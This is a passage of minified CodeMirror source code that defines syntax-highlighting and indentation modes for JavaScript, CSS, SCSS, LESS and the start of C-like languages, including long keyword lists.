aQ=aP.cc[aL];if(aQ==h){aM=aM.prev}else{if(aQ!=e){break}}}}if(aM.type=="stat"&&aO=="}"){aM=aM.prev}if(A&&aM.type==")"&&aM.prev.type=="stat"){aM=aM.prev}var aN=aM.type,aK=aO==aN;if(aN=="vardef"){return aM.indented+(aP.lastType=="operator"||aP.lastType==","?aM.info+1:0)}else{if(aN=="form"&&aO=="{"){return aM.indented}else{if(aN=="form"){return aM.indented+l}else{if(aN=="stat"){return aM.indented+(ao(aP,aJ)?A||l:0)}else{if(aM.info=="switch"&&!aK&&aj.doubleIndentSwitch!=false){return aM.indented+(/^(?:case|default)\b/.test(aJ)?l:2*l)}else{if(aM.align){return aM.column+(aK?0:1)}else{return aM.indented+(aK?0:l)}}}}}}},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:z?null:"/*",blockCommentEnd:z?null:"*/",lineComment:z?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:z?"json":"javascript",jsonldMode:aB,jsonMode:z}});a.registerHelper("wordChars","javascript",/[\w$]/);a.defineMIME("text/javascript","javascript");a.defineMIME("text/ecmascript","javascript");a.defineMIME("application/javascript","javascript");a.defineMIME("application/x-javascript","javascript");a.defineMIME("application/ecmascript","javascript");a.defineMIME("application/json",{name:"javascript",json:true});a.defineMIME("application/x-json",{name:"javascript",json:true});a.defineMIME("application/ld+json",{name:"javascript",jsonld:true});a.defineMIME("text/typescript",{name:"javascript",typescript:true});a.defineMIME("application/typescript",{name:"javascript",typescript:true})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(p){p.defineMode("css",function(T,G){if(!G.propertyKeywords){G=p.resolveMode("text/css")}var M=T.indentUnit,y=G.tokenHooks,w=G.documentTypes||{},S=G.mediaTypes||{},I=G.mediaFeatures||{},F=G.propertyKeywords||{},z=G.nonStandardPropertyKeywords||{},B=G.fontProperties||{},R=G.counterDescriptors||{},L=G.colorKeywords||{},O=G.valueKeywords||{},J=G.allowNested;var A,K;function U(X,Y){A=Y;return X}function W(aa,Z){var Y=aa.next();if(y[Y]){var X=y[Y](aa,Z);if(X!==false){return X}}if(Y=="@"){aa.eatWhile(/[\w\\\-]/);return U("def",aa.current())}else{if(Y=="="||(Y=="~"||Y=="|")&&aa.eat("=")){return U(null,"compare")}else{if(Y=='"'||Y=="'"){Z.tokenize=H(Y);return Z.tokenize(aa,Z)}else{if(Y=="#"){aa.eatWhile(/[\w\\\-]/);return U("atom","hash")}else{if(Y=="!"){aa.match(/^\s*\w*/);return U("keyword","important")}else{if(/\d/.test(Y)||Y=="."&&aa.eat(/\d/)){aa.eatWhile(/[\w.%]/);return U("number","unit")}else{if(Y==="-"){if(/[\d.]/.test(aa.peek())){aa.eatWhile(/[\w.%]/);return U("number","unit")}else{if(aa.match(/^-[\w\\\-]+/)){aa.eatWhile(/[\w\\\-]/);if(aa.match(/^\s*:/,false)){return U("variable-2","variable-definition")}return U("variable-2","variable")}else{if(aa.match(/^\w+-/)){return U("meta","meta")}}}}else{if(/[,+>*\/]/.test(Y)){return U(null,"select-op")}else{if(Y=="."&&aa.match(/^-?[_a-z][_a-z0-9-]*/i)){return U("qualifier","qualifier")}else{if(/[:;{}\[\]\(\)]/.test(Y)){return U(null,Y)}else{if((Y=="u"&&aa.match(/rl(-prefix)?\(/))||(Y=="d"&&aa.match("omain("))||(Y=="r"&&aa.match("egexp("))){aa.backUp(1);Z.tokenize=V;return U("property","word")}else{if(/[\w\\\-]/.test(Y)){aa.eatWhile(/[\w\\\-]/);return U("property","word")}else{return U(null,null)}}}}}}}}}}}}}function H(X){return function(ab,Z){var aa=false,Y;while((Y=ab.next())!=null){if(Y==X&&!aa){if(X==")"){ab.backUp(1)}break}aa=!aa&&Y=="\\"}if(Y==X||!aa&&X!=")"){Z.tokenize=null}return U("string","string")}}function V(Y,X){Y.next();if(!Y.match(/\s*[\"\')]/,false)){X.tokenize=H(")")}else{X.tokenize=null}return U(null,"(")}function N(Y,X,Z){this.type=Y;this.indent=X;this.prev=Z}function D(Y,Z,X){Y.context=new N(X,Z.indentation()+M,Y.context);return X}function P(X){X.context=X.context.prev;return X.context.type}function x(X,Z,Y){return C[Y.context.type](X,Z,Y)}function Q(Y,aa,Z,ab){for(var X=ab||1;X>0;X--){Z.context=Z.context.prev}return x(Y,aa,Z)}function E(Y){var X=Y.current().toLowerCase();if(O.hasOwnProperty(X)){K="atom"}else{if(L.hasOwnProperty(X)){K="keyword"}else{K="variable"}}}var C={};C.top=function(X,Z,Y){if(X=="{"){return D(Y,Z,"block")}else{if(X=="}"&&Y.context.prev){return P(Y)}else{if(/@(media|supports|(-moz-)?document)/.test(X)){return D(Y,Z,"atBlock")}else{if(/@(font-face|counter-style)/.test(X)){Y.stateArg=X;return"restricted_atBlock_before"}else{if(/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(X)){return"keyframes"}else{if(X&&X.charAt(0)=="@"){return D(Y,Z,"at")}else{if(X=="hash"){K="builtin"}else{if(X=="word"){K="tag"}else{if(X=="variable-definition"){return"maybeprop"}else{if(X=="interpolation"){return D(Y,Z,"interpolation")}else{if(X==":"){return"pseudo"}else{if(J&&X=="("){return D(Y,Z,"parens")}}}}}}}}}}}}return Y.context.type};C.block=function(X,aa,Y){if(X=="word"){var Z=aa.current().toLowerCase();if(F.hasOwnProperty(Z)){K="property";return"maybeprop"}else{if(z.hasOwnProperty(Z)){K="string-2";return"maybeprop"}else{if(J){K=aa.match(/^\s*:(?:\s|$)/,false)?"property":"tag";return"block"}else{K+=" error";return"maybeprop"}}}}else{if(X=="meta"){return"block"}else{if(!J&&(X=="hash"||X=="qualifier")){K="error";return"block"}else{return C.top(X,aa,Y)}}}};C.maybeprop=function(X,Z,Y){if(X==":"){return D(Y,Z,"prop")}return x(X,Z,Y)};C.prop=function(X,Z,Y){if(X==";"){return P(Y)}if(X=="{"&&J){return D(Y,Z,"propBlock")}if(X=="}"||X=="{"){return Q(X,Z,Y)}if(X=="("){return D(Y,Z,"parens")}if(X=="hash"&&!/^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6})$/.test(Z.current())){K+=" error"}else{if(X=="word"){E(Z)}else{if(X=="interpolation"){return D(Y,Z,"interpolation")}}}return"prop"};C.propBlock=function(Y,X,Z){if(Y=="}"){return P(Z)}if(Y=="word"){K="property";return"maybeprop"}return Z.context.type};C.parens=function(X,Z,Y){if(X=="{"||X=="}"){return Q(X,Z,Y)}if(X==")"){return P(Y)}if(X=="("){return D(Y,Z,"parens")}if(X=="interpolation"){return D(Y,Z,"interpolation")}if(X=="word"){E(Z)}return"parens"};C.pseudo=function(X,Z,Y){if(X=="word"){K="variable-3";return Y.context.type}return x(X,Z,Y)};C.atBlock=function(X,aa,Y){if(X=="("){return D(Y,aa,"atBlock_parens")}if(X=="}"){return Q(X,aa,Y)}if(X=="{"){return P(Y)&&D(Y,aa,J?"block":"top")}if(X=="word"){var Z=aa.current().toLowerCase();if(Z=="only"||Z=="not"||Z=="and"||Z=="or"){K="keyword"}else{if(w.hasOwnProperty(Z)){K="tag"}else{if(S.hasOwnProperty(Z)){K="attribute"}else{if(I.hasOwnProperty(Z)){K="property"}else{if(F.hasOwnProperty(Z)){K="property"}else{if(z.hasOwnProperty(Z)){K="string-2"}else{if(O.hasOwnProperty(Z)){K="atom"}else{K="error"}}}}}}}}return Y.context.type};C.atBlock_parens=function(X,Z,Y){if(X==")"){return P(Y)}if(X=="{"||X=="}"){return Q(X,Z,Y,2)}return C.atBlock(X,Z,Y)};C.restricted_atBlock_before=function(X,Z,Y){if(X=="{"){return D(Y,Z,"restricted_atBlock")}if(X=="word"&&Y.stateArg=="@counter-style"){K="variable";return"restricted_atBlock_before"}return x(X,Z,Y)};C.restricted_atBlock=function(X,Z,Y){if(X=="}"){Y.stateArg=null;return P(Y)}if(X=="word"){if((Y.stateArg=="@font-face"&&!B.hasOwnProperty(Z.current().toLowerCase()))||(Y.stateArg=="@counter-style"&&!R.hasOwnProperty(Z.current().toLowerCase()))){K="error"}else{K="property"}return"maybeprop"}return"restricted_atBlock"};C.keyframes=function(X,Z,Y){if(X=="word"){K="variable";return"keyframes"}if(X=="{"){return D(Y,Z,"top")}return x(X,Z,Y)};C.at=function(X,Z,Y){if(X==";"){return P(Y)}if(X=="{"||X=="}"){return Q(X,Z,Y)}if(X=="word"){K="tag"}else{if(X=="hash"){K="builtin"}}return"at"};C.interpolation=function(X,Z,Y){if(X=="}"){return P(Y)}if(X=="{"||X==";"){return Q(X,Z,Y)}if(X=="word"){K="variable"}else{if(X!="variable"&&X!="("&&X!=")"){K="error"}}return"interpolation"};return{startState:function(X){return{tokenize:null,state:"top",stateArg:null,context:new N("top",X||0,null)}},token:function(Z,Y){if(!Y.tokenize&&Z.eatSpace()){return null}var X=(Y.tokenize||W)(Z,Y);if(X&&typeof X=="object"){A=X[1];X=X[0]}K=X;Y.state=C[Y.state](A,Z,Y);return K},indent:function(ab,Z){var Y=ab.context,aa=Z&&Z.charAt(0);var X=Y.indent;if(Y.type=="prop"&&(aa=="}"||aa==")")){Y=Y.prev}if(Y.prev&&(aa=="}"&&(Y.type=="block"||Y.type=="top"||Y.type=="interpolation"||Y.type=="restricted_atBlock")||aa==")"&&(Y.type=="parens"||Y.type=="atBlock_parens")||aa=="{"&&(Y.type=="at"||Y.type=="atBlock"))){X=Y.indent-M;Y=Y.prev}return X},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",fold:"brace"}});function g(y){var x={};for(var w=0;w<y.length;++w){x[y[w]]=true}return x}var k=["domain","regexp","url","url-prefix"],a=g(k);var b=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],t=g(b);var v=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"],i=g(v);var d=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode"],h=g(d);var m=["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"],e=g(m);var r=["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"],f=g(r);var o=["additive-symbols","fallback","negative","pad","prefix","range","speak-as","suffix","symbols","system"],s=g(o);var c=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],l=g(c);var j=["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scale","scale3d","scaleX","scaleY","scaleZ","scroll","scrollbar","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","x-large","x-small","xor","xx-large","xx-small"],q=g(j);var n=k.concat(b).concat(v).concat(d).concat(m).concat(c).concat(j);p.registerHelper("hintWords","css",n);function u(z,y){var w=false,x;while((x=z.next())!=null){if(w&&x=="/"){y.tokenize=null;break}w=(x=="*")}return["comment","comment"]}p.defineMIME("text/css",{documentTypes:a,mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,fontProperties:f,counterDescriptors:s,colorKeywords:l,valueKeywords:q,tokenHooks:{"/":function(x,w){if(!x.eat("*")){return false}w.tokenize=u;return u(x,w)}},name:"css"});p.defineMIME("text/x-scss",{mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,colorKeywords:l,valueKeywords:q,fontProperties:f,allowNested:true,tokenHooks:{"/":function(x,w){if(x.eat("/")){x.skipToEnd();return["comment","comment"]}else{if(x.eat("*")){w.tokenize=u;return u(x,w)}else{return["operator","operator"]}}},":":function(w){if(w.match(/\s*\{/)){return[null,"{"]}return false},"$":function(w){w.match(/^[\w-]+/);if(w.match(/^\s*:/,false)){return["variable-2","variable-definition"]}return["variable-2","variable"]},"#":function(w){if(!w.eat("{")){return false}return[null,"interpolation"]}},name:"css",helperType:"scss"});p.defineMIME("text/x-less",{mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,colorKeywords:l,valueKeywords:q,fontProperties:f,allowNested:true,tokenHooks:{"/":function(x,w){if(x.eat("/")){x.skipToEnd();return["comment","comment"]}else{if(x.eat("*")){w.tokenize=u;return u(x,w)}else{return["operator","operator"]}}},"@":function(w){if(w.eat("{")){return[null,"interpolation"]}if(w.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/,false)){return false}w.eatWhile(/[\w\\\-]/);if(w.match(/^\s*:/,false)){return["variable-2","variable-definition"]}return["variable-2","variable"]},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(c){c.defineMode("clike",function(L,s){var F=L.indentUnit,B=s.statementIndentUnit||F,G=s.dontAlignCalls,v=s.keywords||{},z=s.types||{},M=s.builtin||{},H=s.blockKeywords||{},D=s.defKeywords||{},o=s.atoms||{},n=s.hooks||{},A=s.multiLineStrings,w=s.indentStatements!==false,u=s.indentSwitch!==false,q=s.namespaceSeparator;var x=/[+\-*&%=<>!?|\/]/;var J,r;function N(S,Q){var P=S.next();if(n[P]){var O=n[P](S,Q);if(O!==false){return O}}if(P=='"'||P=="'"){Q.tokenize=t(P);return Q.tokenize(S,Q)}if(/[\[\]{}\(\),;\:\.]/.test(P)){J=P;return null}if(/\d/.test(P)){S.eatWhile(/[\w\.]/);return"number"}if(P=="/"){if(S.eat("*")){Q.tokenize=C;return C(S,Q)}if(S.eat("/")){S.skipToEnd();return"comment"}}if(x.test(P)){S.eatWhile(x);return"operator"}S.eatWhile(/[\w\$_\xa1-\uffff]/);if(q){while(S.match(q)){S.eatWhile(/[\w\$_\xa1-\uffff]/)}}var R=S.current();if(v.propertyIsEnumerable(R)){if(H.propertyIsEnumerable(R)){J="newstatement"}if(D.propertyIsEnumerable(R)){r=true}return"keyword"}if(z.propertyIsEnumerable(R)){return"variable-3"}if(M.propertyIsEnumerable(R)){if(H.propertyIsEnumerable(R)){J="newstatement"}return"builtin"}if(o.propertyIsEnumerable(R)){return"atom"}return"variable"}function t(O){return function(T,R){var S=false,Q,P=false;while((Q=T.next())!=null){if(Q==O&&!S){P=true;break}S=!S&&Q=="\\"}if(P||!(S||A)){R.tokenize=null}return"string"}}function C(R,Q){var O=false,P;while(P=R.next()){if(P=="/"&&O){Q.tokenize=null;break}O=(P=="*")}return"comment"}function I(S,P,O,R,Q){this.indented=S;this.column=P;this.type=O;this.align=R;this.prev=Q}function y(O){return O=="statement"||O=="switchstatement"||O=="namespace"}function p(R,P,Q){var O=R.indented;if(R.context&&y(R.context.type)&&!y(Q)){O=R.context.indented}return R.context=new I(O,P,Q,null,R.context)}function K(P){var O=P.context.type;if(O==")"||O=="]"||O=="}"){P.indented=P.context.indented}return P.context=P.context.prev}function m(P,O){if(O.prevToken=="variable"||O.prevToken=="variable-3"){return true}if(/\S(?:[^- ]>|[*\]])\s*$|\*$/.test(P.string.slice(0,P.start))){return true}}function E(O){for(;;){if(!O||O.type=="top"){return true}if(O.type=="}"&&O.prev.type!="namespace"){return false}O=O.prev}}return{startState:function(O){return{tokenize:null,context:new I((O||0)-F,0,"top",false),indented:0,startOfLine:true,prevToken:null}},token:function(T,S){var P=S.context;if(T.sol()){if(P.align==null){P.align=false}S.indented=T.indentation();S.startOfLine=true}if(T.eatSpace()){return null}J=r=null;var R=(S.tokenize||N)(T,S);if(R=="comment"||R=="meta"){return R}if(P.align==null){P.align=true}if((J==";"||J==":"||J==",")){while(y(S.context.type)){K(S)}}else{if(J=="{"){p(S,T.column(),"}")}else{if(J=="["){p(S,T.column(),"]")}else{if(J=="("){p(S,T.column(),")")}else{if(J=="}"){while(y(P.type)){P=K(S)}if(P.type=="}"){P=K(S)}while(y(P.type)){P=K(S)}}else{if(J==P.type){K(S)}else{if(w&&(((P.type=="}"||P.type=="top")&&J!=";")||(y(P.type)&&J=="newstatement"))){var Q="statement";if(J=="newstatement"&&u&&T.current()=="switch"){Q="switchstatement"}else{if(R=="keyword"&&T.current()=="namespace"){Q="namespace"}}p(S,T.column(),Q)}}}}}}}if(R=="variable"&&((S.prevToken=="def"||(s.typeFirstDefinitions&&m(T,S)&&E(S.context)&&T.match(/^\s*\(/,false))))){R="def"}if(n.token){var O=n.token(T,S,R);if(O!==undefined){R=O}}if(R=="def"&&s.styleDefs===false){R="variable"}S.startOfLine=false;S.prevToken=r?"def":R||J;return R},indent:function(T,P){if(T.tokenize!=N&&T.tokenize!=null){return c.Pass}var O=T.context,S=P&&P.charAt(0);if(y(O.type)&&S=="}"){O=O.prev}var Q=S==O.type;var R=O.prev&&O.prev.type=="switchstatement";if(y(O.type)){return O.indented+(S=="{"?0:B)}if(O.align&&(!G||O.type!=")")){return O.column+(Q?0:1)}if(O.type==")"&&!Q){return O.indented+B}return O.indented+(Q?0:F)+(!Q&&R&&!/^(?:case|default)\b/.test(P)?F:0)},electricInput:u?/^\s*(?:case .*?:|default:|\{\}?|\})$/:/^\s*[{}]$/,blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",fold:"brace"}});function i(p){var n={},o=p.split(" ");for(var m=0;m<o.length;++m){n[o[m]]=true}return n}var l="auto if break case register continue return default do sizeof static else struct switch extern typedef float union for goto while enum const volatile";var j="int long char short double float unsigned signed void size_t ptrdiff_t";function d(n,m){if(!m.startOfLine){return false}for(;;){if(n.skipTo("\\")){n.next();if(n.eol()){m.tokenize=d;break}}else{n.skipToEnd();m.tokenize=null;break}}return"meta"}function a(m,n){if(n.prevToken=="variable-3"){return"variable-3"}return false}function k(o,n){o.backUp(1);if(o.match(/(R|u8R|uR|UR|LR)/)){var m=o.match(/"([^\s\\()]{0,16})\(/);if(!m){return false}n.cpp11RawStringDelim=m[1];n.tokenize=g;return g(o,n)}if(o.match(/(u8|u|U|L)/)){if(o.match(/["']/,false)){return"string"}return false}o.next();return false}function e(n){var m=/(\w+)::(\w+)$/.exec(n);return m&&m[1]==m[2]}function h(o,n){var m;while((m=o.next())!=null){if(m=='"'&&!o.eat('"')){n.tokenize=null;break}}return"string"}function g(p,n){var o=n.cpp11RawStringDelim.replace(/[^\w\s]/g,"\\$&");var m=p.match(new RegExp(".*?\\)"+o+'"'));if(m){n.tokenize=null}else{p.skipToEnd()}return"string"}function b(m,q){if(typeof m=="string"){m=[m]}var p=[];function o(r){if(r){for(var s in r){if(r.hasOwnProperty(s)){p.push(s)}}}}o(q.keywords);o(q.types);o(q.builtin);o(q.atoms);if(p.length){q.helperType=m[0];c.registerHelper("hintWords",m[0],p)}for(var n=0;n<m.length;++n){c.defineMIME(m[n],q)}}b(["text/x-csrc","text/x-c","text/x-chdr"],{name:"clike",keywords:i(l),types:i(j+" bool _Complex _Bool float_t double_t intptr_t intmax_t int8_t int16_t int32_t int64_t uintptr_t uintmax_t uint8_t uint16_t uint32_t uint64_t"),blockKeywords:i("case do else for if switch while struct"),defKeywords:i("struct"),typeFirstDefinitions:true,atoms:i("null true 